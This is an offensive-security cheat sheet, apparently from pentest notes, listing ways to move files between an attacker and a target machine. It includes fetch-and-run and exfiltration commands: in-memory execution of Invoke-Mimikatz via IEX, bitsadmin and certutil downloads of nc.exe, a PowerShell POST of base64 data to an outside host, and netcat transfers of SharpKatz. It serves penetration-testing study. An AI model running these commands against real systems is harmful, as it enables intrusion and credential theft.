File Transfers
Introduction
There are many different methods to transfers files from a target machine to the attackers machine and vice versa. The following notes are a useful reference to help you achieve this task.
Basic Methods
cat filename | base64 -w 0; echo followed by echo 'encoding-result' | base64 -d
Encode and decode a file via base64 to transfer its content on local machine
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Download a file using Wget
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Download a file using cURL
Using SSH Secure Copy (SCP)
scp C:\Temp\bloodhound.zip user@target-ip:/tmp/bloodhound.zip
Upload a file using SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
Download a file using SCP
Using a fake SMB Server
sudo impacket-smbserver sharename -smb2support /tmp/smbshare
Create an SMB Server with anonymous access
copy \\server-ip\share\nc.exe
Copy file to previous SMB Server when anonymous access is available
sudo impacket-smbserver sharename -smb2support /tmp/smbshare -user test -password test
Create an SMB Server hosting a share named "sharename" with credentials
net use n: \\server-ip\sharename /user:test test
Copy file to previous SMB Server when anonymous access is NOT available
Using RDP Shares and Clipboard
Create an SMB share containing the Kali user's home drive:
xfreerdp /v:ip /u:user /p:password +home-driveConnect to a FreeRDP server with a shared directory:
xfreerdp /v:ip_address /u:username /p:password /drive:path/to/directory,share_nameUse RDP clipboard redirection:
xfreerdp /v:ip_address /u:username /p:password +clipboard
Windows File Transfers
Download a file with PowerShell:
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1Execute a file in memory using PowerShell:
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')Upload a file with PowerShell:
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64Download a file using Bitsadmin:
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exeDownload a file using Certutil:
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exeDownload a file using PHP
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'Invoke-WebRequest using a Chrome User Agent:
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
File Transfers with Netcat
Case 1 - Using nc to Upload from attacker to target:
From the target machine:
nc -l -p 8000 > SharpKatz.exeFrom attacker machine:
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
Case 2 - Using ncat to Upload from attacker to target:
From the target machine:
ncat -l -p 8000 --recv-only > SharpKatz.exeFrom attacker machine:
ncat --send-only target-ip 8000 < SharpKatz.exe
Last updated
Was this helpful?